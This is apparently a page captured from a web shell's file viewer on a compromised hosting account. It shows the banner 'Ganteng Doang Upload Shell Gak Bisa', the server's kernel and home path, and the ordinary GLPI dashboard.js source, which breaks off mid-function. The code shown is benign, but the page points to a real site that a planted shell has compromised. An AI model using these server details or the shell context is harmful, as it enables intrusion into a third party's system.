Ganteng Doang Upload Shell Gak Bisa


Linux server.jmdstrack.com 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
/ home/ jmdstrac/ public_html/ devices/ js/

/home/jmdstrac/public_html/devices/js/dashboard.js

/**
 * ---------------------------------------------------------------------
 *
 * GLPI - Gestionnaire Libre de Parc Informatique
 *
 * http://glpi-project.org
 *
 * @copyright 2015-2023 Teclib' and contributors.
 * @copyright 2003-2014 by the INDEPNET Development Team.
 * @licence   https://www.gnu.org/licenses/gpl-3.0.html
 *
 * ---------------------------------------------------------------------
 *
 * LICENSE
 *
 * This file is part of GLPI.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 * ---------------------------------------------------------------------
 */

/* global GridStack, GoInFullscreen, GoOutFullscreen, EasyMDE, getUuidV4, _, sortable */
/* global glpi_ajax_dialog, glpi_close_all_dialogs */

const Dashboard = {
    dashboards: {},

    getActiveDashboard: function() {
        var current_dashboard_index = "";
        $.each(this.dashboards, function(index, dashboard) {
            if ($(dashboard.elem_dom).is(':visible')) {
                current_dashboard_index = index;
                return false; // Break
            }
        });

        return this.dashboards[current_dashboard_index];
    }
};

class GLPIDashboard {
    constructor(params) {
        const that = this;

        this.grid = null;
        this.elem_id = "";
        this.element = null;
        this.elem_dom = null;
        this.rand = null;
        this.interval = null;
        this.current_name = null;
        this.markdown_editors = [];
        this.all_cards = [];
        this.all_widgets = [];
        this.edit_mode = false;
        this.embed = false;
        this.ajax_cards = false;
        this.context = "core";
        this.markdown_contents = [];
        this.dash_width = 0;
        this.cell_margin = 3;
        this.cols = 26;
        this.cache_key = "";
        this.filters = "{}";
        this.filters_selector = "";

        // get passed options and merge it with default ones
        var options = (typeof params !== 'undefined')
            ? params: {};
        var default_options = {
            cols:        24,
            rows:        24,
            cell_length: 40,
            cell_margin: 5,
            rand:        '',
            embed:       false,
            token:       null,
            entities_id: null,
            is_recursive:null,
            ajax_cards:  true,
            all_cards:   [],
            context:     "core"
        };
        options = Object.assign({}, default_options, options);

        this.rand         = options.rand;
        this.elem_id      = "#dashboard-"+options.rand;
        this.element      = $(this.elem_id);
        this.elem_dom     = this.element[0];
        this.current_name = $(this.elem_id+' .dashboard_select').val() || options.current;
        this.embed        = options.embed;
        this.token        = options.token;
        this.entities_id  = options.entities_id;
        this.is_recursive = options.is_recursive;
        this.ajax_cards   = options.ajax_cards;
        this.all_cards    = options.all_cards;
        this.all_widgets  = options.all_widgets;
        this.context      = options.context;
        this.dash_width   = this.element.width();
        this.cell_margin  = options.cell_margin;
        this.cols         = options.cols;
        this.cache_key    = options.cache_key || "";
        this.filters_selector = this.elem_id + ' .filters';

        // compute the width offset of gridstack container relatively to viewport
        var elem_domRect = this.elem_dom.getBoundingClientRect();
        var width_offset = elem_domRect.left + (window.innerWidth - elem_domRect.right) + 0.02;

        this.grid = GridStack.init({
            column: options.cols,
            maxRow: (options.rows + 1), // +1 for a hidden item at bottom (to fix height)
            margin : this.cell_margin,
            float: true, // widget can be placed anywhere on the grid, not only on top
            animate: false, // as we don't move widget automatically, we don't need animation
            draggable: { // override jquery ui draggable options
                'cancel': 'textarea' // avoid draggable on some child elements
            },
            'minWidth': 768 -  width_offset, // breakpoint of one column mode (based on the dashboard container width), trying to reduce to match the `-md` breakpoint of bootstrap (this last is based on viewport width)
        }, "#grid-stack-" + options.rand);

        // set grid in static to prevent edition (unless user click on edit button)
        // previously in option, but current version of gridstack has a bug with one column mode (responsive)
        // see https://github.com/gridstack/gridstack.js/issues/1229
        this.grid.setStatic(true);

        // generate the css based on the grid width
        this.generateCss();

        // init filters from storage
        this.initFilters();
        this.refreshDashboard();

        // animate the dashboards once all card are loaded (single ajax mode)
        if (!this.ajax_cards) {
            this.fitNumbers();
            this.animateNumbers();
        }

        // change dashboard
        $("#dashboard-"+options.rand+" .toolbar .dashboard_select").change(function() {
            that.current_name = $(this).val();
            var selected_label = $(this).find("option:selected").text();
            $(".dashboard-name").val(selected_label);
            that.refreshDashboard();
            that.setLastDashboard();
            that.initFilters();
        });

        // add dashboard
        $("#dashboard-"+options.rand+" .toolbar .add-dashboard").click(function() {
            that.addForm();
        });
        $(document).on('submit', '.display-add-dashboard-form', function(event) {
            event.preventDefault();

            glpi_close_all_dialogs();
            var button    = $(this);
            var form_data = {};
            $.each(button.closest('.display-add-dashboard-form').serializeArray(), function() {
                form_data[this.name] = this.value;
            });

            that.addNew(form_data);
        });

        // delete dashboard
        $("#dashboard-"+options.rand+" .toolbar .delete-dashboard").click(function() {
            that.delete();
        });

        //clone dashboard
        $("#dashboard-"+options.rand+" .toolbar .clone-dashboard").click(function() {
            that.clone();
        });

        // embed mode toggle
        $("#dashboard-"+options.rand+" .toolbar .open-embed").click(function() {
            glpi_ajax_dialog({
                title: __("Share or embed this dashboard"),
                url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
                params: {
                    action:  'display_embed_form',
                    dashboard: that.current_name
                },
            });
        });

        // edit mode toggle
        $("#dashboard-"+options.rand+" .toolbar .edit-dashboard").click(function() {
            var activate = !$(this).hasClass('active');

            that.setEditMode(activate);
        });

        // fullscreen mode toggle
        var expand_selector = "#dashboard-"+options.rand+" .toggle-fullscreen";
        $(expand_selector).click(function() {
            that.toggleFullscreenMode($(this));
        });
        // trigger fullscreen off (by esc key)
        $(document).on('fullscreenchange webkitfullscreenchange mozfullscreenchange MSFullscreenChange', function() {
            if (!document.webkitIsFullScreen
             && !document.mozFullScreen
             && !document.msFullscreenElement !== null) {
                that.disableFullscreenMode();
            }
        });

        // night mode toggle
        $("#dashboard-"+options.rand+" .toolbar .night-mode").click(function() {
            $(this).toggleClass('active');
            that.element.toggleClass('theme-dark');
        });

        // refresh mode toggle
        $("#dashboard-"+options.rand+" .toolbar .auto-refresh").click(function() {
            $(this).toggleClass('active');
            var active = $(this).hasClass('active');

            if (active) {
                var minutes = parseInt(CFG_GLPI.refresh_views);
                if (minutes == 0 || Number.isNaN(minutes)) {
                    minutes = 30;
                }
                var seconds = minutes * 60;
                that.interval = setInterval(function() {
                    that.refreshDashboard();
                }, seconds * 1000);
            } else {
                clearInterval(that.interval);
            }
        });

        // browser resized (use debounce to delay generation of css)
        var debounce;
        $(window).on('resize', function(event) {
            if (event.target.constructor.name !== "Window") {
                return;
            }

            window.clearTimeout(debounce);
            debounce = window.setTimeout(function() {
                that.generateCss();

                // fit again numbers
                that.fitNumbers();
            }, 200);
        });

        // publish rights
        $(document).on('click', '.display-rights-form .save_rights', function() {
            glpi_close_all_dialogs();

            var button    = $(this);
            var form_data = {};
            var is_private;
            $.each(button.closest('.display-rights-form').serializeArray(), function() {
                var current_val = this.value.split('-');
                if (current_val.length !== 2) {
                    return;
                }
                var right_name  = current_val[0];
                var value       = current_val[1];
                if (!(right_name in form_data)) {
                    form_data[right_name] = [];
                }
                form_data[right_name].push(value);
            });
            is_private = button.closest('.display-rights-form').find('select[name="is_private"]').val();

            $.post({
                url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
                data: {
                    action:     'save_rights',
                    dashboard:  that.current_name,
                    rights:     form_data,
                    is_private: is_private,
                }
            });
        });

        // event: moving item
        this.grid.on('dragstop', function() {
            that.saveDashboard();
        });

        // event: resize item
        this.grid.on('resizestop', function(event, elem) {
            that.saveDashboard();

            // resize also chart if exists
            var chart = $(elem).find('.ct-chart');
            if (chart.length > 0 && chart[0].__chartist__ != undefined)  {
                chart[0].__chartist__.update();
            }

            // Used after "resize.fittext" event to reset our custom width "trick"
            // See computeWidth() function for more info on the trick
            that.resetComputedWidth($('body').find('.big-number').find('.formatted-number'));
            that.resetComputedWidth($('body').find('.big-number').find('.label'));

            // animate the number
            that.fitNumbers($(elem));
            that.animateNumbers($(elem));
        });

        // delete item
        $(document).on('click', "#dashboard-"+options.rand+" .delete-item", function() {
            var del_ctrl = $(this);
            var item = del_ctrl.closest('.grid-stack-item')[0];

            that.grid.removeWidget(item);
            that.saveDashboard();
        });

        // refresh item
        $(document).on('click', "#dashboard-"+options.rand+" .refresh-item", function() {
            var refresh_ctrl = $(this);
            var item = refresh_ctrl.closest('.grid-stack-item');
            var id = item.attr('gs-id');

            that.getCardsAjax("[gs-id="+id+"]");
        });

        // edit item
        $(document).on('click', "#dashboard-"+options.rand+" .edit-item", function() {
            var edit_ctrl = $(this);
            var item      = edit_ctrl.parent().parent('.grid-stack-item');
            var card_opt  = item.data('card-options');

            glpi_ajax_dialog({
                title: __("Edit this card"),
                url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
                params: {
                    action:       'display_edit_widget',
                    dashboard:    that.current_name,
                    gridstack_id: item.attr('gs-id'),
                    card_id:      card_opt.card_id,
                    x:            item.attr('gs-x'),
                    y:            item.attr('gs-y'),
                    width:        item.attr('gs-w'),
                    height:       item.attr('gs-h'),
                    card_options: card_opt,
                },
            });
        });

        // add new widget form
        $(document).on("click", "#dashboard-"+options.rand+" .cell-add", function() {
            var add_ctrl = $(this);

            glpi_ajax_dialog({
                title: __("Add a card"),
                url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
                params: {
                    action: 'display_add_widget',
                    dashboard: that.current_name,
                    x: add_ctrl.data('x'),
                    y: add_ctrl.data('y')
                },
            });
        });

        // save new or existing widget (submit form)
        $(document).on('submit', '.display-widget-form ', function(event) {
            event.preventDefault();

            that.setWidgetFromForm($(this));
        });

        // add new filter
        $(document).on("click", "#dashboard-"+options.rand+" .filters_toolbar .add-filter", function() {
            glpi_close_all_dialogs();

            var filters = that.getFiltersFromDB();
            var filter_names    = Object.keys(filters);

            glpi_ajax_dialog({
                title: __("Add a filter"),
                url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
                params: {
                    action: 'display_add_filter',
                    dashboard: that.current_name,
                    used: filter_names
                },
            });
        });

        // save new filter (submit form)
        $(document).on('submit', '.display-filter-form ', function(event) {
            event.preventDefault();

            var form = $(this);

            that.setFilterFromForm(form);
        });

        // delete existing filter
        $(document).on("click", "#dashboard-"+options.rand+" .filters_toolbar .delete-filter", function() {
            var filter = $(this).closest('.filter');
            var filter_id = filter.data('filter-id');

            // remove filter from dom
            filter.remove();

            // remove filter from storage and refresh cards
            var filters = that.getFiltersFromDB();
            delete filters[filter_id];
            that.setFiltersInDB(filters);
            that.refreshCardsImpactedByFilter(filter_id);
        });

        // rename dashboard
        $(document).on('click', '.save-dashboard-name ', function(event) {
            event.preventDefault();
            // change in selector
            $('.dashboard_select option[value='+that.current_name+']')
                .text($(".dashboard-name").val());
            that.saveDashboard();

            $('.display-message')
                .addClass('success')
                .text(__("Saved"))
                .show('fade').delay(2000).hide('fade');
        });

        // display widget types after selecting a card
        $(document).on('select2:select', '.display-widget-form select[name=card_id]', function(event) {
            var select2_data      = event.params.data;
            var selected          = select2_data.id;
            var widgettype_field  = $(this).closest('.display-widget-form').find('.widgettype_field');
            var available_widgets = that.all_cards[selected].widgettype;
            var force_checked     = available_widgets.length === 1;

            widgettype_field
                .show()
                .find('input[type=radio]')
                .next('label').css('display', 'none').end()
                .filter("[value='"+available_widgets.join("'],[value='")+"']")
                .prop("checked", force_checked)
                .trigger('change')
                .next('label').css('display', 'inline-block');
        });

        // display gradient and limit after selecting a widget
        $(document).on('change', '.display-widget-form [name=widgettype]', function() {
            var widgetdom   = $(this);
            var widgettype  = widgetdom.val();
            var widget      = that.all_widgets[widgettype];
            var usegradient = widget.gradient || false;
            var pointlabels = widget.pointlbl || false;
            var uselimit    = widget.limit || false;
            var width       = widget.width  || 2;
            var height      = widget.height || 2;

            var form = widgetdom.closest('.display-widget-form');
            form.find('.gradient_field').toggle(usegradient);
            form.find('.pointlbl_field').toggle(pointlabels);
            form.find('.limit_field').toggle(uselimit);

            var width_field = form.find('[name="width"]');
            var height_field = form.find('[name="height"]');
            if (width_field.val() == 0) {
                width_field.val(width);
            }
            if (height_field.val() == 0) {
                height_field.val(height);
            }
        });

        // markdown textarea edited
        $(document).on('input', '.card.markdown textarea.markdown_content', function() {
            that.saveMarkdown($(this));
        });

        // FitText() add an event listener that recompute the font size of all
        // "fittexted" elements of the page.
        // This means we need to apply our max-width "trick" on this event
        // See computeWidth() function for more info on the trick
        $(window).on('resize.fittext', function() {
            that.computeWidth($('body').find('.big-number').find('.formatted-number'));
            that.computeWidth($('body').find('.big-number').find('.label'));
        });

        // Keep track of instance
        Dashboard.dashboards[options.rand] = this;
    }

    saveMarkdown(textarea) {
        var item = textarea.closest('.grid-stack-item');
        var content = textarea.val();
        var gs_id = item.attr('gs-id');

        item.addClass('dirty');
        this.markdown_contents[gs_id] = content;
    }

    setWidgetFromForm(form) {
        const that = this;

        glpi_close_all_dialogs();
        var form_data  = {};

        $.each(form.serializeArray(), function() {
            form_data[this.name] = this.value;
        });

        // no card selected
        if (form_data.card_id === "0") {
            return false;
        }

        form_data.card_options = form_data.card_options || {};
        if (typeof form_data.card_options === "string") {
            form_data.card_options = JSON.parse(form_data.card_options);
        }

        var edit_item = "old_id" in form_data && form_data.old_id.length > 0;

        // prepare options
        form_data.card_options.color        = form_data.color || null;
        form_data.card_options.widgettype   = form_data.widgettype || null;
        form_data.card_options.use_gradient = form_data.use_gradient || 0;
        form_data.card_options.point_labels = form_data.point_labels || 0;
        form_data.card_options.limit        = form_data.limit || 7;

        // specific case for markdown
        if (
            form_data.card_id === "markdown_editable"
            && !('markdown_content' in form_data.card_options)
        ) {
            form_data.card_options.markdown_content = "";
        }

        // id edit mode remove old item before adding the new
        if (edit_item === true) {
            if (form_data.old_id === "0") {
                return false;
            }
            var item = $('.grid-stack-item[gs-id='+form_data.old_id+']')[0];
            this.grid.removeWidget(item);
        }

        // complete ajax data
        var uuid = getUuidV4();
        form_data.gridstack_id = form_data.card_id+"_"+uuid;
        form_data.card_options.card_id = form_data.card_id;
        form_data.card_options.gridstack_id = form_data.gridstack_id;

        var args = form_data.card_options;
        args.force = true;
        args.apply_filters = this.getFiltersFromDB();

        // add the new widget
        var widget = this.addWidget(form_data);

        // get the html of the new card and save dashboard
        $.get({
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: {
                action:    'get_card',
                dashboard: this.current_name,
                card_id:   form_data.card_id,
                cache_key: this.cache_key,
                args:      args,
            }
        }).done(function(card_html) {
            widget
                .children('.grid-stack-item-content')
                .append(card_html);
            that.fitNumbers(widget);
            that.animateNumbers(widget);
            that.saveDashboard();
        });
    }

    addWidget(p) {
        var gridstack_id = p.gridstack_id;
        var x            = parseInt(p.x || -1);
        var y            = parseInt(p.y || -1);
        var width        = parseInt(p.width || 2);
        var height       = parseInt(p.height || 2);
        var options      = p.card_options || {};

        var html = ' \
      <div class="grid-stack-item"> \
         <span class="controls"> \
            <i class="refresh-item ti ti-refresh" title="'+__("Refresh this card")+'"></i> \
            <i class="edit-item ti ti-edit" title="'+__("Edit this card")+'"></i> \
            <i class="delete-item ti ti-x" title="'+__("Delete this card")+'"></i> \
         </span> \
         <div class="grid-stack-item-content"> \
         </div> \
      </div>';

        // add the widget to the grid
        var widget = this.grid.addWidget(html, {
            'x': x,
            'y': y,
            'w': width,
            'h': height,
            'autoPosition': x < 0 || y < 0,
            'id': gridstack_id,
        });

        // append options
        $(widget).attr('data-card-options', JSON.stringify(options));

        return $(widget);
    }

    setFilterFromForm(form) {
        const that = this;

        glpi_close_all_dialogs();
        var form_data  = {};

        $.each(form.serializeArray(), function() {
            form_data[this.name] = this.value;
        });

        // get the html of the new card and save dashboard
        $.get({
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: {
                action:    'get_filter',
                filter_id: form_data.filter_id,
            }
        }).done(function(filter_html) {
            $(that.filters_selector).append(filter_html);
            that.saveFilter(form_data.filter_id, []);
        });
    }

    refreshDashboard() {
        const that = this;
        var gridstack = $(this.elem_id+" .grid-stack");
        this.grid.removeAll();

        let data = {
            dashboard: this.current_name,
            action: 'get_dashboard_items',
        };
        if (this.embed) {
            data.embed        = 1;
            data.token        = this.token;
            data.entities_id  = this.entities_id;
            data.is_recursive = this.is_recursive;
        }

        $.get({
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: data
        }).done(function(html) {
            gridstack.prepend(html);
            gridstack.find('.grid-stack-item').each(function() {
                that.grid.makeWidget($(this)[0]);
            });
            that.getCardsAjax();
        });
    }

    setLastDashboard() {
        $.post({
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: {
                dashboard: this.current_name,
                page: (location.origin+location.pathname)
                    .replace(CFG_GLPI.url_base, ''),
                action: 'set_last_dashboard',
            }
        });
    }

    saveFilter(filter_id, value) {
        // store current filter in localStorage
        var filters = this.getFiltersFromDB();
        filters[filter_id] = value;
        this.setFiltersInDB(filters);

        // refresh sortable
        sortable(this.filters_selector, 'reload');

        // refresh all card impacted by the changed filter
        this.refreshCardsImpactedByFilter(filter_id);
    }

    refreshCardsImpactedByFilter(filter_id) {
        const that = this;
        $('.dashboard .card.filter-'+filter_id).each(function () {
            var gridstack_item = $(this).closest(".grid-stack-item");
            var card_id = gridstack_item.attr('gs-id');
            that.getCardsAjax("[gs-id="+card_id+"]");
        });
    }

    saveDashboard(force_refresh) {
        const that = this;
        force_refresh = force_refresh | false;

        var serializedData = $.makeArray(
            this.element.find('.grid-stack-item:visible:not(.grid-stack-placeholder)')
        ) .map(function (v) {
            var gs_id = $(v).attr('gs-id');
            var options = $(v).data('card-options');

            // replace markdown content (this to avoid unwanted slashing)
            if (_.keys(that.markdown_contents).length > 0
             && gs_id in that.markdown_contents) {
                options.markdown_content = that.markdown_contents[gs_id];
            }

            return gs_id ? {
                gridstack_id: $(v).attr('gs-id'),
                card_id: options.card_id,
                x: $(v).attr('gs-x'),
                y: $(v).attr('gs-y'),
                width: $(v).attr('gs-w'),
                height: $(v).attr('gs-h'),
                card_options: options
            } : null;
        });

        $.post({
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: {
                action: 'save_items',
                dashboard: this.current_name,
                items: serializedData,
                title: $(".dashboard-name").val()
            }
        }).done(function() {
            if (force_refresh) {
                that.refreshDashboard();
            }
        });
    }

    /**
    * FitText() only use the width of an item into consideration (and ignore the height).
    * This means that if you keep increasing the width of a card without also
    * increasing the height then your text will overflow the card's height at
    * some point.
    *
    * This function fix this by reducing the available width of the parent DOM
    * element to ensure a decent height / width ratio will be used by fitText()
    *
    * @param {*} items
    */
    computeWidth(items) {
        items.each(function() {
            // Compute parent dimension
            var parent_width = $(this).parent().parent().width();
            var parent_height = $(this).parent().parent().height();

            // Only for "wide" cards
            if (parent_width > parent_height) {
            // FitText "ideal" ratio to avoid any overflow
            // This value was found by using fitText() on a ~1600px wide span and
            // checking the resulting text height.
            // It probably wont be the perfect ratio for every possible texts
            // length but it is a safe ratio to use for our calculation
                var target_ratio = 0.35;

                // Compute what our desired height would be if we want to match the
                // target ratio
                var desired_width = parent_height / target_ratio;
                var desired_width_percent = (desired_width / parent_width) * 100;

                // Keep half the space since we have two items to display (value and label)
                var desired_width_percent_half = desired_width_percent / 2;

                // Apply the width
                $(this).css('width', desired_width_percent_half + '%');
            }
        });
    }

    /**
    * Remove the custom width as it should only be used temporarily to 'trick'
    * fitText into using a different fontSize and should not be applied to the
    * actual text
    *
    * @param {*} items
    */
    resetComputedWidth(items) {
        items.each(function() {
            $(this).css('width', '100%');
        });
    }

    fitNumbers(parent_item) {
        parent_item = parent_item || $('body');

        var text_offset = 1.16;

        // responsive mode
        if (this.dash_width <= 700
          || $(this.grid.el).hasClass('grid-stack-one-column-mode')) {
            text_offset = 1.8;
        }

        // Set temporary max width to trick fitText and avoid overflow
        this.computeWidth(parent_item.find('.big-number').find('.formatted-number'));
        this.computeWidth(parent_item.find('.big-number').find('.label'));

        parent_item
            .find('.big-number')
            .find('.formatted-number').fitText(text_offset);

        parent_item
            .find('.summary-numbers')
            .find('.formatted-number').fitText(text_offset-0.65);

        parent_item
            .find('.summary-numbers')
            .find('.line .label').fitText(text_offset-0.2);

        parent_item
            .find('.big-number')
            .find('.label').fitText(text_offset - 0.2, { minFontSize: '12px'});

        // Remove temporary width
        this.resetComputedWidth(parent_item.find('.big-number').find('.formatted-number'));
        this.resetComputedWidth(parent_item.find('.big-number').find('.label'));
    }

    animateNumbers(parent_item) {
        parent_item = parent_item || $('body');

        parent_item
            .find('.multiple-numbers, .summary-numbers, .big-number')
            .find('.formatted-number')
            .each(function () {
                var count        = $(this);
                var precision    = count.data('precision');
                var number       = count.children('.number');
                var targetNumber = number.text();

                // Some custom formats may contain text in the number field, no animation in this case
                if (isNaN(number.text())) {
                    return true;
                }

                jQuery({ Counter: 0 }).animate({ Counter: number.text() }, {
                    duration: 800,
                    easing: 'swing',
                    step: function () {
                        number.text(this.Counter.toFixed(precision));
                    },
                    complete: function () {
                        number.text(targetNumber);
                    }
                });
            });
    }

    setEditMode(activate) {
        this.edit_mode = typeof activate == "undefined" ? true : activate;

        var edit_ctrl = $(this.elem_id+" .toolbar .edit-dashboard");
        edit_ctrl.toggleClass('active', activate);
        this.element.toggleClass('edit-mode', activate);
        this.grid.setStatic(!activate);

        // set filters as sortable (draggable) or not
        sortable(this.filters_selector, activate ? 'enable' : 'disable');

        if (!this.edit_mode) {
            // save markdown textareas set as dirty
            var dirty_textareas = $(".grid-stack-item.dirty");
            if (dirty_textareas.length > 0) {
                this.saveDashboard(true);
            }
        }
    }

    toggleFullscreenMode(fs_ctrl) {
        var fs_enabled = !fs_ctrl.hasClass('active');

        this.element.toggleClass('fullscreen')
            .find('.night-mode').toggle(fs_enabled);
        fs_ctrl.toggleClass('active');

        // desactivate edit mode
        if (fs_enabled) {
            this.setEditMode(false);
        }

        // fullscreen browser api
        if (fs_enabled) {
            GoInFullscreen(this.elem_dom);
        } else {
            GoOutFullscreen();
        }
    }

    disableFullscreenMode() {
        this.element
            .removeClass('fullscreen')
            .find('.night-mode').hide().end()
            .find('.toggle-fullscreen').removeClass('active');

        GoOutFullscreen();
    }

    /**
    * Clone current dashboard
    * (clean all previous gridstack_id in cards)
    */
    clone() {
        const that = this;

        $.post({
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: {
                dashboard: this.current_name,
                action: 'clone_dashboard',
            },
            dataType: 'json'
        }).done(function(new_dash) {
            that.addNewDashbardInSelect(new_dash.title, new_dash.key);
        });
    }

    /**
    * Delete current dashboard
    */
    delete() {
        const that = this;
        var confirm_msg = __("Are you sure you want to delete the dashboard %s ?")
            .replace('%s', this.current_name);
        if (window.confirm(confirm_msg, __("Delete this dashboard"))) {
            $.post({
                url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
                data: {
                    action: 'delete_dashboard',
                    dashboard: this.current_name,
                }
            }).done(function() {
                $("#dashboard-"+that.rand+" .toolbar .dashboard_select")
                    .find("option[value='"+that.current_name+"']").remove()
                    .end() // reset find filtering
                    .prop("selectedIndex", 0)
                    .trigger('change');
            });
        }
    }

    /**
    * Display form to add a new dashboard
    */
    addForm() {
        glpi_ajax_dialog({
            title: __("Add a new dashboard"),
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            params: {
                action: 'add_new',
            }
        });
    }

    addNew(form_data) {
        const that = this;

        $.post({
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: {
                action: 'save_new_dashboard',
                title: form_data.title,
                context: this.context,
            }
        }).done(function(dashboard_key) {
            that.addNewDashbardInSelect(form_data.title, dashboard_key);
            that.setEditMode(true);
        });
    }

    /**
    * Add a new option to top left dashboard select
    */
    addNewDashbardInSelect(label, value) {
        var newOption = new Option(label, value, false, true);
        $("#dashboard-"+this.rand+" .toolbar .dashboard_select")
            .append(newOption)
            .trigger('change');
    }

    getCardsAjax(specific_one) {
        const that = this;

        specific_one = specific_one || "";

        const filters = this.getFiltersFromDB();
        const force = (specific_one.length > 0 ? 1 : 0);

        let requested_cards = [];
        let card_ajax_data = [];
        $(this.elem_dom).find(".grid-stack-item:not(.lock-bottom)"+specific_one).each(function() {
            var card         = $(this);
            var card_opt     = card.data('card-options');
            var gridstack_id = card.attr('gs-id');
            var card_id      = card_opt.card_id || card.attr('gs-id');

            card_opt.gridstack_id = gridstack_id;

            // store markdown after card reload
            if ("markdown_content" in card_opt) {
                that.markdown_contents[gridstack_id] = card_opt.markdown_content;
            }

            // append filters
            card_opt.apply_filters = filters;

            card_ajax_data.push({
                'card_id': card_id,
                'force': force,
                'args': card_opt,
                'c_cache_key': card_opt.cache_key || ""
            });
            requested_cards.push({
                'card_el': card,
                'card_id': card_id,
                'args': card_opt,
            });
        });

        if (this.ajax_cards) {
            // Multi ajax mode, spawn a request for each card
            const promises = [];
            requested_cards.forEach(function(requested_card) {
                const card = requested_card.card_el;

                let data = {
                    'action':      'get_card',
                    'dashboard':   that.current_name,
                    'card_id':     requested_card.card_id,
                    'force':       force,
                    'args':        requested_card.args,
                    'd_cache_key': that.cache_key,
                    'c_cache_key': requested_card.args.cache_key || ""
                };
                if (that.embed) {
                    data.embed        = 1;
                    data.token        = that.token;
                    data.entities_id  = that.entities_id;
                    data.is_recursive = that.is_recursive;
                }

                promises.push($.get(CFG_GLPI.root_doc+"/ajax/dashboard.php", data).then(function(html) {
                    card.children('.grid-stack-item-content').html(html);

                    that.fitNumbers(card);
                    that.animateNumbers(card);
                }).fail(function() {
                    card.html("<div class='empty-card card-error'><i class='fas fa-exclamation-triangle'></i></div>");
                }));
            });

            return promises;
        } else {
            // Single ajax mode, spawn a single request
            let data = {
                'dashboard': this.current_name,
                'force': (specific_one.length > 0 ? 1 : 0),
                'd_cache_key': this.cache_key,
                'cards': card_ajax_data
            };
            if (this.embed) {
                data.embed        = 1;
                data.token        = this.token;
                data.entities_id  = this.entities_id;
                data.is_recursive = this.is_recursive;
            }

            return $.ajax({
                url:CFG_GLPI.root_doc+"/ajax/dashboard.php",
                method: 'POST',
                data: {
                    'action': 'get_cards',
                    data: JSON.stringify(data)
                }
            }).then(function(results) {
                $.each(requested_cards, (i2, crd) => {
                    let has_result = false;
                    const card = crd.card_el;
                    $.each(results, (card_id, card_result) => {
                        if (crd.card_id === card_id) {
                            const html = card_result;
                            has_result = true;
                            card.children('.grid-stack-item-content').html(html);

                            that.fitNumbers(card);
                            that.animateNumbers(card);
                        }
                    });
                    if (!has_result) {
                        card.html("<div class='empty-card card-error'><i class='fas fa-exclamation-triangle'></i></div>");
                    }
                });
            }).fail(function() {
                $.each(requested_cards, (i2, crd) => {
                    const card = crd.card_el;
                    card.html("<div class='empty-card card-error'><i class='fas fa-exclamation-triangle'></i></div>");
                });
            });
        }
    }

    easter() {
        var items = $(this.elem_id+" .grid-stack .grid-stack-item .card");

        setInterval(function() {
            var color = "#"+((1<<24)*Math.random()|0).toString(16);
            var no_item = Math.floor(Math.random() * items.length) + 1;
            var item = items[no_item];
            $(item).css('background-color', color);
        }, 10);
    }

    generateCss() {
        var dash_width    = Math.floor(this.element.width());
        var cell_length   = (dash_width - 1) / this.cols;
        var cell_height   = cell_length;
        var cell_fullsize = (dash_width / this.cols);
        var width_percent = 100 / this.cols;

        var style = " \
      "+this.elem_id+" .cell-add { \
         width: "+cell_length+"px; \
         height: "+cell_fullsize+"px; \
      } \
      "+this.elem_id+" .grid-guide { \
         background-size: "+cell_length+"px "+cell_fullsize+"px; \
         bottom: "+cell_fullsize+"px; \
      }";

        for (var i = 0; i < this.cols; i++) {
            var left  = i * width_percent;
            var width = (i+1) * width_percent;

            style+= this.elem_id+" .grid-stack > .grid-stack-item[gs-x='"+i+"'] { \
            left: "+left+"%; \
         } \
         "+this.elem_id+" .grid-stack > .grid-stack-item[gs-w='"+(i+1)+"'] { \
            min-width: "+width_percent+"%; \
            width: "+width+"%; \
         }";
        }

        // remove old inline styles
        $("#gs_inline_css_"+this.rand).remove();

        // add new style
        if (dash_width > 700) {
            $("<style id='gs_inline_css_"+this.rand+"'></style>")
                .prop("type", "text/css")
                .html(style)
                .appendTo("head");
        } else {
            cell_height = 60;
        }

        // apply new height to gridstack
        this.grid.cellHeight(cell_height);
    }

    /**
    * init filters of the dashboard
    */
    initFilters() {
        const that = this;

        if ($(this.filters_selector).length === 0) {
            return;
        }

        var filters = this.getFiltersFromDB();

        // replace empty array by empty string to avoid jquery remove the corresponding key
        // when sending ajax query
        $.each(filters, function( index, value ) {
            if (Array.isArray(value) && value.length == 0) {
                filters[index] = "";
            }
        });

        // get html of provided filters
        $.get({
            url: CFG_GLPI.root_doc+"/ajax/dashboard.php",
            data: {
                "action": "get_dashboard_filters",
                "filters": filters,
            }
        }).done(function(html) {
            $(that.filters_selector).html(html);
            // we must  emit an event to all filters to say them dashboard is ready
            $(document).trigger("glpiDasbhoardInitFilter");

            // start sortable on filter but disable it by default,
            // we will enable it when edit mode will be toggled on
            sortable(that.filters_selector, {
                placeholderClass: 'filter-placeholder',
                orientation: 'horizontal',
            })[0].addEventListener('sortupdate', function(e) {
            // after drag, save the order of filters in storage
                var items_after = $(e.detail.destination.items).filter(that.filters_selector);
                var filters     = that.getFiltersFromDB();
                var new_filters = {};
                $.each(items_after, function() {
                    var filter_id = $(this).data('filter-id');
                    new_filters[filter_id] = filters[filter_id];
                });

                that.setFiltersInDB(new_filters);
            });
            sortable(that.filters_selector, 'disable');
        });
    }

    /**
    * Return saved filter from server side database
    */
    getFiltersFromDB() {
        var filters;
        $.ajax({
            method: 'GET',
